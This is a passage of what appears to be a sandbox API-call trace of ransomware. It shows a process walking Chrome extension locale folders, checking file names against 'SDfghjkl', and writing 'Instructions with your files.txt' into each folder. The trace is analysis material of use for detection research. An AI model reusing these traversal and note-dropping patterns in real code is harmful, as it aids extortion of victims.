[0130.207] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.207] CloseHandle (hObject=0x134) returned 1
[0130.207] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.208] GetProcessHeap () returned 0x810000
[0130.208] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.208] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83428640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
[0130.208] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da") returned 150
[0130.208] GetProcessHeap () returned 0x810000
[0130.208] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.208] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*") returned 152
[0130.208] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83428640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.208] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\.") returned 152
[0130.208] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83428640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.208] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\..") returned 153
[0130.208] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83428640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.208] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json") returned 164
[0130.208] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.208] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83428640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.208] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\Instructions with your files.txt") returned 183
[0130.208] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.209] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.209] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.210] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.210] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.210] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.210] CloseHandle (hObject=0x134) returned 1
[0130.210] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.210] GetProcessHeap () returned 0x810000
[0130.210] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.210] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8342fb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8342fb70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
[0130.210] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de") returned 150
[0130.210] GetProcessHeap () returned 0x810000
[0130.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.210] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*") returned 152
[0130.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8342fb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8342fb70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.211] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\.") returned 152
[0130.211] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8342fb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8342fb70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.211] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\..") returned 153
[0130.211] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8342fb70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83432280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x406f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.211] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json") returned 164
[0130.211] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.211] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8342fb70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83432280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x406f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.211] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\Instructions with your files.txt") returned 183
[0130.211] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.212] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.213] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.213] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.213] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.213] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.213] CloseHandle (hObject=0x134) returned 1
[0130.213] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.213] GetProcessHeap () returned 0x810000
[0130.213] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.213] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834370a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834370a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
[0130.213] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el") returned 150
[0130.213] GetProcessHeap () returned 0x810000
[0130.213] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.213] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*") returned 152
[0130.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834370a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834370a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.214] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\.") returned 152
[0130.214] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834370a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834370a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.214] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\..") returned 153
[0130.214] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834370a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834397b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4afe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.214] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json") returned 164
[0130.214] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.214] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834370a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834397b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4afe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.214] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\Instructions with your files.txt") returned 183
[0130.214] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.214] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.215] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.215] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.215] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.215] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.216] CloseHandle (hObject=0x134) returned 1
[0130.216] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.216] GetProcessHeap () returned 0x810000
[0130.216] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.216] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83440ce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
[0130.216] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en") returned 150
[0130.216] GetProcessHeap () returned 0x810000
[0130.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.216] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*") returned 152
[0130.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83440ce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.217] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\.") returned 152
[0130.217] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83440ce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.217] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\..") returned 153
